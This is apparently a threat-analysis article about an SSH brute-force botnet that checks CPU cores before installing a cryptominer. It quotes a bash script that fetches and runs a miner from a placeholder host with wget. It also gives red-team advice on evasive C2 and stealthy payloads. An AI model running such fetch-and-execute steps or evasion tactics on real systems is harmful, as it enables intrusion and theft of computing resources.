SSH Bot Campaign: Reconnaissance First, Mining Next

The threat landscape constantly shifts, with bad actors refining their methods to maximize efficiency and return on investment. A particular SSH bot campaign has demonstrated a strategic approach by conducting reconnaissance to assess hardware capabilities before deploying a cryptocurrency miner. This ensures that mining activities are only conducted on nodes that can yield high returns, highlighting a sophisticated level of decision-making not always observed in such campaigns. This article breaks down the technical details, effectiveness, and operational takeaways from this campaign, referencing insights from SANS ISC.

Campaign or TTP Overview

This campaign emerged in mid-2023, leveraging a bot to scan for and brute-force SSH credentials. Once access is obtained, the bot performs reconnaissance to assess the machine’s suitability for cryptocurrency mining based on hardware specifications. Notably, this campaign illustrates an evolution in approach, focusing first on identifying high-value targets rather than indiscriminately deploying resources.

Victims identified so far are mainly under-resourced personal and small business servers, presumably opted for their potential lack of robust security measures. The campaign has not been attributed to a specific actor, but its methodology reflects a growing trend in cybercrime where maximizing resource allocation is prioritized.

How It Was Built

The campaign employs a two-phase attack strategy, built on a foundation of initial access acquisition followed by conditional payload deployment.

Infrastructure Setup: The botnet infrastructure relies on a distributed network of compromised devices to perform reconnaissance and attacks. Command and control (C2) communication is conducted over HTTPS to disguise traffic amidst legitimate web activities.

Delivery Mechanism: Attackers first scan for SSH ports and attempt brute-force attacks using common credentials. Upon successful penetration, the bot uploads and executes a script to survey the host’s hardware specifications.


#!/bin/bash

cpu_cores=$(nproc --all)

if [ "$cpu_cores" -ge 4 ]; then

   wget http://malicious.example.com/miner -O /tmp/miner

   chmod +x /tmp/miner

   /tmp/miner &

fi

This script ensures that the mining payload is only deployed on systems with sufficient processing capabilities, typically those with four or more CPU cores.

Why It Worked

The effectiveness of this campaign can be attributed to several key factors:

Targeted Exploitation: By using reconnaissance to filter out low-value targets, attackers increase their resource efficiency. This strategy reduces detectability compared to the noise of widespread attacks.
Stealthy C2 Communications: HTTPS is used to conceal C2 traffic, making it difficult for unsophisticated intrusion detection systems to identify malicious activities.
Minimal Footprint: The post-exploitation script is lightweight and primarily built in bash, reducing the chance of detection by traditional antivirus solutions which may be looking for more blatant indicators.

The strategic deployment of resources based on reconnaissance significantly enhances the effectiveness and profitability of a campaign.

Operator Takeaways

For red teamers and penetration testers, this campaign offers several insights that can be adapted for legitimate security assessments:

Targeted Resource Allocation: Use reconnaissance to intelligently allocate red team tools based on the target environment, increasing stealth and impact.
Communication Evasion Techniques: Incorporate encryption and legitimate-looking traffic patterns to obscure operational communications.
Lightweight Payloads: Design lightweight and efficient payloads that fulfill their function while minimizing exposure to detection.

Good / Better / Best

Good: Good operators use common tools and known methods for SSH brute-forcing, effectively gaining access to systems with exposed SSH ports.

Better: Better operators add reconnaissance to filter and select valuable targets, deploying measured payloads that align with the capabilities of the compromised system.

Best: The best operators integrate sophisticated C2 techniques and minimalistic yet powerful scripts, reducing the chances of detection and response while maximizing resource yield.

References

SANS ISC Diary: SSH Botnet Reconnaissance